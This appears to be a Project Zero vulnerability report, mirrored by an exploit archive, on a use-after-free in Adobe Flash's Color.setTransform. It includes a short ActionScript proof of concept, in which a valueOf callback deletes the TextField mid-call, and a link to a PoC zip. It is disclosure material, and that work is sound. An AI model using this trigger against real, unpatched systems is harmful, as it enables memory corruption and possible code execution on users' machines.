24 lines
No EOL
549 B
Text
24 lines
No EOL
549 B
Text
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=451
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If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:
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var tf:TextField = this.createTextField("tf",1,1,1,4,4)
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var n = new Object();
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n.valueOf = function () {
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trace("here");
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tf.removeTextField()
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}
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var o = {ra: n, rb:8};
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var c = new Color(tf)
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c.setTransform(o)
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A sample swf and fla are attached.
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39652.zip |